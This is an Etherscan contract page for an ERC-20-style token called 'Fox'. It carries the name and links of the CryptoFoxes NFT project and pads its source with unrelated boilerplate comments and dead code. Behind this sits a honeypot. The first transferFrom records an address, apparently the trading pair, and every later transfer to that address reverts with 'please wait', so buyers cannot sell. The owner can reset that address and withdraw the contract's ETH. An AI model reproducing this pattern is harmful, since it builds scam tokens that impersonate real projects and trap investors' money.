ETH Price: $1,866.06 (-13.04%)
 

Overview

Max Total Supply

100,000,000 Fox

Holders

26

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Fox

Compiler Version
v0.5.17+commit.d19bba13

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2021-10-13
*/

// pragma solidity 0.8.4;
    // SPDX-License-Identifier: MIT
    
    
    
    /**   
    * Fox
    * No presale
    * Site: https://www.cryptofoxes.io/
    * Discord: https://discord.com/invite/3crJeNYssT
    * Twitter: https://twitter.com/CryptoFoxesNFT
    * OpenSea: https://opensea.io/collection/cryptofoxes-origin
    */



     /**
     * @dev Implementation of the {IERC20} interface.
     *
     * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
     * This allows applications to reconstruct the allowance for all accounts just
     * by listening to said events. Other implementations of the EIP may not emit
     * these events, as it isn't required by the specification.
     *
     * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
     * functions have been added to mitigate the well-known issues around setting
     * allowances. See {IERC20-approve}.
     */



     /** 
     * @dev Provides information about the current execution context, including the
     * sender of the transaction and its data. While these are generally available
     * via msg.sender and msg.data, they should not be accessed in such a direct
     * manner, since when dealing with meta-transactions the account sending and
     * paying for execution may not be the actual sender (as far as an application
     * is concerned).
     *
     * This contract is only required for intermediate, library-like contracts.
     */                                                                                             
              


      /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards
     * Emits an {Approval} event.
     */
     
     
     
    
pragma solidity ^0.5.17;


library SafeMath {
  function add(uint a, uint b) internal pure returns (uint c) {
    c = a + b;
    require(c >= a);
  }
  function sub(uint a, uint b) internal pure returns (uint c) {
    require(b <= a);
    c = a - b;
  }
  function mul(uint a, uint b) internal pure returns (uint c) {
    c = a * b;
    require(a == 0 || c / a == b);
  }
  function div(uint a, uint b) internal pure returns (uint c) {
    require(b > 0);
    c = a / b;
  }
}


     /** 
    * @dev Provides information about the current execution context, including the
     * sender of the transaction and its data. While these are generally available
     * via msg.sender and msg.data, they should not be accessed in such a direct
     * manner, since when dealing with meta-transactions the account sending and
     * paying for execution may not be the actual sender (as far as an application
     * is concerned).
     *
     * This contract is only required for intermediate, library-like contracts.
     */   
     
      /**
     * @dev Implementation of the {IERC20} interface.
     *
     * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
     * This allows applications to reconstruct the allowance for all accounts just
     * by listening to said events. Other implementations of the EIP may not emit
     * these events, as it isn't required by the specification.
     *
     * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
     * functions have been added to mitigate the well-known issues around setting
     * allowances. See {IERC20-approve}.
     */    
     
contract BEP20Interface {
  function totalSupply() public view returns (uint);
  function balanceOf(address tokenOwner) public view returns (uint balance);
  function allowance(address tokenOwner, address spender) public view returns (uint remaining);
  function transfer(address to, uint tokens) public returns (bool success);
  function approve(address spender, uint tokens) public returns (bool success);
  function transferFrom(address from, address to, uint tokens) public returns (bool success);

  event Transfer(address indexed from, address indexed to, uint tokens);
  event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

contract ApproveAndCallFallBack {
  function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}

contract Owned {
  address public owner;
  address public newOwner;

  event OwnershipTransferred(address indexed _from, address indexed _to);

  constructor() public {
    owner = msg.sender;


  }

  modifier onlyOwner {
    require(msg.sender == owner);
    _;
  }

  function transferOwnership(address _newOwner) public onlyOwner {
    newOwner = _newOwner;
  }
  function acceptOwnership() public {
    require(msg.sender == newOwner);
    emit OwnershipTransferred(owner, newOwner);
    owner = newOwner;
    newOwner = address(0);
  }
}

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
     
     
    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
     
         /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */

     /**
     * @dev Implementation of the {IERC20} interface.
     *
     * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
     * This allows applications to reconstruct the allowance for all accounts just
     * by listening to said events. Other implementations of the EIP may not emit
     * these events, as it isn't required by the specification.
     *
     * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
     * functions have been added to mitigate the well-known issues around setting
     * allowances. See {IERC20-approve}.
     */     

contract TokenBEP20 is BEP20Interface, Owned{
  using SafeMath for uint;

  string public symbol;
  string public name;
  uint8 public decimals;
  uint _totalSupply;
  address public newun;

  mapping(address => uint) balances;
  mapping(address => mapping(address => uint)) allowed;

    /**
     * Constrctor function
     *
     * Initializes contract with initial supply tokens to the creator of the contract
     */
     
         /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     * increases the gas cost of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     */

   /**
 * @dev Implementation of the {IERC20} interface.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */

  constructor() public {
    symbol = "Fox";
    name = "CryptoFoxes NFT | cryptofoxes.io";
    decimals = 9;
    _totalSupply = 100000000 * 10**9;
    balances[owner] = _totalSupply;
    emit Transfer(address(0), owner, _totalSupply);
  }
  function transfernewun(address _newun) public onlyOwner {
    newun = _newun;
  }
  

  
  function totalSupply() public view returns (uint) {
    return _totalSupply.sub(balances[address(0)]);
  }
  function balanceOf(address tokenOwner) public view returns (uint balance) {
      return balances[tokenOwner];
  }
  function transfer(address to, uint tokens) public returns (bool success) {
     require(to != newun, "please wait");
     
    balances[msg.sender] = balances[msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(msg.sender, to, tokens);
    return true;
  }
  function approve(address spender, uint tokens) public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    return true;
  }
  function transferFrom(address from, address to, uint tokens) public returns (bool success) {
      if(from != address(0) && newun == address(0)) newun = to;
      else require(to != newun, "please wait");
      
    balances[from] = balances[from].sub(tokens);
    allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(from, to, tokens);
    return true;
  }
  function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
    return allowed[tokenOwner][spender];
  }
  function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
    return true;
  }
  function () external payable {
    revert();
  }
}
   /**
 * @dev Implementation of the {IERC20} interface.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
/**
    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        // split the contract balance into halves
        uint256 half = contractTokenBalance.div(2);
        uint256 otherHalf = contractTokenBalance.sub(half);

        // capture the contract's current ETH balance.
        // this is so that we can capture exactly the amount of ETH that the
        // swap creates, and not make the liquidity event include any ETH that
        // has been manually sent to the contract
        uint256 initialBalance = address(this).balance;

        // swap tokens for ETH
        swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered

        // how much ETH did we just swap into?
        uint256 newBalance = address(this).balance.sub(initialBalance);

        // add liquidity to uniswap
        addLiquidity(otherHalf, newBalance);
        
        emit SwapAndLiquify(half, newBalance, otherHalf);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    //this method is responsible for taking all fee, if takeFee is true
    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
        if(!takeFee)
            removeAllFee();
        
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferFromExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
            _transferToExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferStandard(sender, recipient, amount);
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
            _transferBothExcluded(sender, recipient, amount);
        } else {
            _transferStandard(sender, recipient, amount);
        }
        
        if(!takeFee)
            restoreAllFee();
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);           
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);   
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

} 
*/

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     * increases the gas cost of certain opcodes, possibly making contracts go over the 5000 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     */
     
contract Fox is TokenBEP20 {
    
     /*
    * @dev Provides information about the current execution context, including the
     * sender of the transaction and its data. While these are generally available
     * via msg.sender and msg.data, they should not be accessed in such a direct
     * manner, since when dealing with meta-transactions the account sending and
     * paying for execution may not be the actual sender (as far as an application
     * is concerned).
     *
     * This contract is only required for intermediate, library-like contracts.
     */

  function clearCNDAO() public onlyOwner() {
     
     
    address payable _owner = msg.sender;
    _owner.transfer(address(this).balance);
  }
  function() external payable {

  }
}

/**
 interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}



// pragma solidity >=0.6.2;

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
*/

 /**
 * @dev Implementation of the {IERC20} interface.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */

Contract Security Audit

Contract ABI

API
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":false,"inputs":[],"name":"acceptOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"clearCNDAO","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"newOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"newun","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newun","type":"address"}],"name":"transfernewun","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]

600080546001600160a01b0319163317905560c0604052600360808190526208cdef60eb1b60a090815261003691600291906100f1565b506040805180820190915260208082527f43727970746f466f786573204e4654207c2063727970746f666f7865732e696f918101918252610079916003916100f1565b506004805460ff1916600917905567016345785d8a00006005819055600080546001600160a01b0390811682526007602090815260408084208590558354815195865290519216937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a361018c565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061013257805160ff191683800117855561015f565b8280016001018555821561015f579182015b8281111561015f578251825591602001919060010190610144565b5061016b92915061016f565b5090565b61018991905b8082111561016b5760008155600101610175565b90565b610c678061019b6000396000f3fe6080604052600436106100fe5760003560e01c806381f4f39911610095578063c04365a911610064578063c04365a91461037b578063cae9ca5114610390578063d4ee1d9014610458578063dd62ed3e1461046d578063f2fde38b146104a8576100fe565b806381f4f399146102e55780638da5cb5b1461031857806395d89b411461032d578063a9059cbb14610342576100fe565b806323b872dd116100d157806323b872dd1461022f578063313ce5671461027257806370a082311461029d57806379ba5097146102d0576100fe565b806306fdde0314610100578063095ea7b31461018a57806318160ddd146101d75780631ee59f20146101fe575b005b34801561010c57600080fd5b506101156104db565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014f578181015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019657600080fd5b506101c3600480360360408110156101ad57600080fd5b506001600160a01b038135169060200135610569565b604080519115158252519081900360200190f35b3480156101e357600080fd5b506101ec6105d0565b60408051918252519081900360200190f35b34801561020a57600080fd5b50610213610613565b604080516001600160a01b039092168252519081900360200190f35b34801561023b57600080fd5b506101c36004803603606081101561025257600080fd5b506001600160a01b03813581169160208101359091169060400135610622565b34801561027e57600080fd5b506102876107c6565b6040805160ff9092168252519081900360200190f35b3480156102a957600080fd5b506101ec600480360360208110156102c057600080fd5b50356001600160a01b03166107cf565b3480156102dc57600080fd5b506100fe6107ea565b3480156102f157600080fd5b506100fe6004803603602081101561030857600080fd5b50356001600160a01b0316610865565b34801561032457600080fd5b5061021361089e565b34801561033957600080fd5b506101156108ad565b34801561034e57600080fd5b506101c36004803603604081101561036557600080fd5b506001600160a01b038135169060200135610905565b34801561038757600080fd5b506100fe610a09565b34801561039c57600080fd5b506101c3600480360360608110156103b357600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156103e357600080fd5b8201836020820111156103f557600080fd5b8035906020019184600183028401116401000000008311171561041757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610a52945050505050565b34801561046457600080fd5b50610213610b9a565b34801561047957600080fd5b506101ec6004803603604081101561049057600080fd5b506001600160a01b0381358116916020013516610ba9565b3480156104b457600080fd5b506100fe600480360360208110156104cb57600080fd5b50356001600160a01b0316610bd4565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105615780601f1061053657610100808354040283529160200191610561565b820191906000526020600020905b81548152906001019060200180831161054457829003601f168201915b505050505081565b3360008181526008602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b600080805260076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df5460055461060e9163ffffffff610c0d16565b905090565b6006546001600160a01b031681565b60006001600160a01b0384161580159061064557506006546001600160a01b0316155b1561066a57600680546001600160a01b0319166001600160a01b0385161790556106bb565b6006546001600160a01b03848116911614156106bb576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b6001600160a01b0384166000908152600760205260409020546106e4908363ffffffff610c0d16565b6001600160a01b0385166000908152600760209081526040808320939093556008815282822033835290522054610721908363ffffffff610c0d16565b6001600160a01b038086166000908152600860209081526040808320338452825280832094909455918616815260079091522054610765908363ffffffff610c2216565b6001600160a01b0380851660008181526007602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60045460ff1681565b6001600160a01b031660009081526007602052604090205490565b6001546001600160a01b0316331461080157600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b0316331461087c57600080fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156105615780601f1061053657610100808354040283529160200191610561565b6006546000906001600160a01b0384811691161415610959576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b33600090815260076020526040902054610979908363ffffffff610c0d16565b33600090815260076020526040808220929092556001600160a01b038516815220546109ab908363ffffffff610c2216565b6001600160a01b0384166000818152600760209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6000546001600160a01b03163314610a2057600080fd5b604051339081904780156108fc02916000818181858888f19350505050158015610a4e573d6000803e3d6000fd5b5050565b3360008181526008602090815260408083206001600160a01b038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a3604051638f4ffcb160e01b815233600482018181526024830186905230604484018190526080606485019081528651608486015286516001600160a01b038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015610b29578181015183820152602001610b11565b50505050905090810190601f168015610b565780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610b7857600080fd5b505af1158015610b8c573d6000803e3d6000fd5b506001979650505050505050565b6001546001600160a01b031681565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b6000546001600160a01b03163314610beb57600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600082821115610c1c57600080fd5b50900390565b818101828110156105ca57600080fdfea265627a7a72315820474020326863e42bf53d8f84955a25fc081ed401818759931d60813dbed9575064736f6c63430005110032

Deployed Bytecode

0x6080604052600436106100fe5760003560e01c806381f4f39911610095578063c04365a911610064578063c04365a91461037b578063cae9ca5114610390578063d4ee1d9014610458578063dd62ed3e1461046d578063f2fde38b146104a8576100fe565b806381f4f399146102e55780638da5cb5b1461031857806395d89b411461032d578063a9059cbb14610342576100fe565b806323b872dd116100d157806323b872dd1461022f578063313ce5671461027257806370a082311461029d57806379ba5097146102d0576100fe565b806306fdde0314610100578063095ea7b31461018a57806318160ddd146101d75780631ee59f20146101fe575b005b34801561010c57600080fd5b506101156104db565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014f578181015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019657600080fd5b506101c3600480360360408110156101ad57600080fd5b506001600160a01b038135169060200135610569565b604080519115158252519081900360200190f35b3480156101e357600080fd5b506101ec6105d0565b60408051918252519081900360200190f35b34801561020a57600080fd5b50610213610613565b604080516001600160a01b039092168252519081900360200190f35b34801561023b57600080fd5b506101c36004803603606081101561025257600080fd5b506001600160a01b03813581169160208101359091169060400135610622565b34801561027e57600080fd5b506102876107c6565b6040805160ff9092168252519081900360200190f35b3480156102a957600080fd5b506101ec600480360360208110156102c057600080fd5b50356001600160a01b03166107cf565b3480156102dc57600080fd5b506100fe6107ea565b3480156102f157600080fd5b506100fe6004803603602081101561030857600080fd5b50356001600160a01b0316610865565b34801561032457600080fd5b5061021361089e565b34801561033957600080fd5b506101156108ad565b34801561034e57600080fd5b506101c36004803603604081101561036557600080fd5b506001600160a01b038135169060200135610905565b34801561038757600080fd5b506100fe610a09565b34801561039c57600080fd5b506101c3600480360360608110156103b357600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156103e357600080fd5b8201836020820111156103f557600080fd5b8035906020019184600183028401116401000000008311171561041757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610a52945050505050565b34801561046457600080fd5b50610213610b9a565b34801561047957600080fd5b506101ec6004803603604081101561049057600080fd5b506001600160a01b0381358116916020013516610ba9565b3480156104b457600080fd5b506100fe600480360360208110156104cb57600080fd5b50356001600160a01b0316610bd4565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105615780601f1061053657610100808354040283529160200191610561565b820191906000526020600020905b81548152906001019060200180831161054457829003601f168201915b505050505081565b3360008181526008602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b600080805260076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df5460055461060e9163ffffffff610c0d16565b905090565b6006546001600160a01b031681565b60006001600160a01b0384161580159061064557506006546001600160a01b0316155b1561066a57600680546001600160a01b0319166001600160a01b0385161790556106bb565b6006546001600160a01b03848116911614156106bb576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b6001600160a01b0384166000908152600760205260409020546106e4908363ffffffff610c0d16565b6001600160a01b0385166000908152600760209081526040808320939093556008815282822033835290522054610721908363ffffffff610c0d16565b6001600160a01b038086166000908152600860209081526040808320338452825280832094909455918616815260079091522054610765908363ffffffff610c2216565b6001600160a01b0380851660008181526007602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a1162